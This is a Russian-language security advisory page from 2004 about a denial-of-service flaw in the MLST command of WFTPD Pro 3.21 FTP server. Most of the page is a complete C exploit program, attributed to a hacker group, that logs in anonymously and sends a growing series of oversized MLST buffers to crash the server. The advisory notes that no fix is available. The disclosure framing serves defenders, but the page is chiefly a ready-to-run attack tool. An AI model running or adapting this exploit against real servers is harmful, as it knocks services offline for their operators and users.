Дата публикации: | 02.09.2004 |
Всего просмотров: | 1513 |
Опасность: | Средняя |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Уязвимые версии: WFTPD Pro 3.21 R3
Описание: Уязвимость обнаружена в WTFPD Pro в обработке MLST команд. Удаленный авторизованный пользователь может аварийно завершить работу FTP сервера. Пример/Эксплоит: /* *----------------------------------------------------------------------- * * wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit * * Copyright (C) 2000-2004 HUC All Rights Reserved. * * Author : lion * : lion@cnhonker.net * : http://www.cnhonker.com * Date : 2004-08-30 * *----------------------------------------------------------------------- */ #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #define FTPPORT 21 #define BUFFSIZE 204800 #define OVERFLOWSIZE 220 #define SIZE 2048 // function int create_socket(); int client_connect(int sockfd,char* server,int port); int writebuf(char *s,int socket,char *buffer,int len); int readbuf(char *s,int socket,char *buffer,int len); void checkstatus(char *s); void loginftp(SOCKET sockfd, char *user, char *pass); int show = 1; char recvbuf[BUFFSIZE]; char sendbuf[BUFFSIZE]; void main(int argc, char *argv[]) { WSADATA wsa; unsigned short port; unsigned long ip; char user[32] = "anonymous"; char pass[32] = "anonymous"; int i; char *command = "MLST "; SOCKET s; int size = OVERFLOWSIZE; printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n"); printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n"); if(argc < 3) { printf("%s <TargetHost> <TargetPort>\r\n", argv[0]); return; } WSAStartup(MAKEWORD(2,2),&wsa); if((s=create_socket())==0) { printf("[-] ERROR: Create socket failed.\r\n"); return; } if(!client_connect(s, argv[1], atoi(argv[2]))) exit(-1); loginftp(s, user, pass); memset(sendbuf, 0 ,BUFFSIZE); memcpy(sendbuf, "pasv\r\n", 6); writebuf("Send pasv", s, sendbuf, 6); readbuf("read", s, recvbuf, BUFFSIZE); for(i=0;i<60;i++,size++) { memset(sendbuf, 0, BUFFSIZE); memset(sendbuf, 'A', size); memcpy(sendbuf, command, strlen(command)); sendbuf[size-2] ='\r'; sendbuf[size-1] ='\n'; printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf); show=1; writebuf("Send overflow buff", s, sendbuf, size); readbuf("read", s, recvbuf, BUFFSIZE); Sleep(500); } //send QUIT memset(sendbuf,0, BUFFSIZE); sprintf(sendbuf, "%s\r\n", "QUIT"); writebuf("Send QUIT", s, sendbuf, strlen(sendbuf)); //show=1; //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE); //return; if(s) closesocket(s); WSACleanup(); } int create_socket() { int sockfd; sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd<0) { printf("[-] Create socket error.\r\n"); return(0); } return(sockfd); } int client_connect(int sockfd,char* server,int port) { struct sockaddr_in cliaddr; struct hostent *host; if((host=gethostbyname(server))==NULL) { printf("[-] ERROR: gethostbyname(%s) error\n", server); return(-1); } memset(&cliaddr, 0, sizeof(struct sockaddr)); cliaddr.sin_family=AF_INET; cliaddr.sin_port=htons(port); cliaddr.sin_addr=*((struct in_addr *)host->h_addr); printf("[+] Trying %s:%d......", server, port); fflush(stdout); if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0) { printf("FAILED!\r\n"); closesocket(sockfd); return(-1); } printf("OK!\r\n"); return(1); } int writebuf(char *s,int socket,char *buffer,int len) { int j; if(s) { printf("[+] %s......", s); fflush(stdout); } j=send(socket,buffer,len,0); if(j<=0) { printf("FAILED!\r\n"); exit(-1); } printf("OK!\r\n"); return j; } int readbuf(char *s,int socket,char *buffer,int len) { int a,b,i,j=0; a=b=i=0; memset(buffer,0,len); if(s) { printf("[+] %s......", s); fflush(stdout); } j=recv(socket,buffer,len-1,0); if(j <= 0) { if(s) printf("FAILED!\n"); printf("[-] Recv data error.\n"); exit(-1); } if(s) printf("OK!\n"); buffer[len-1]='\0'; if(show==1) printf("<==\r\n%s<==\r\n",buffer); return j; } void checkstatus(char *s) { if(s==NULL) exit(-1); if(isdigit(*s)) { if(s[0]=='5') { printf("[-] Server told:%s\n",s); exit(-1); } else return; } printf("[-] Server said:%s\n",s); exit(-1); } void loginftp(SOCKET sockfd, char *user, char *pass) { int j; show=1; readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE); //show=0; //send USER username memset(sendbuf,0,BUFFSIZE); j=sprintf(sendbuf,"%s %s\r\n", "USER", user); writebuf("Send USER", sockfd,sendbuf,j); readbuf(NULL,sockfd, recvbuf, BUFFSIZE); checkstatus(recvbuf); //send PASS password memset(sendbuf,0,BUFFSIZE); j=sprintf(sendbuf,"%s %s\r\n","PASS", pass); writebuf("Send PASS", sockfd, sendbuf, j); readbuf(NULL,sockfd,recvbuf, BUFFSIZE); checkstatus(recvbuf); printf("[+] User %s logged in.\r\n", user); } URL производителя: http://www.wftpd.com/ Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. |
|
Ссылки: | [vulnwatch] WFTPD Pro Server 3.21 MLST Command Denial of Service Vulnerability |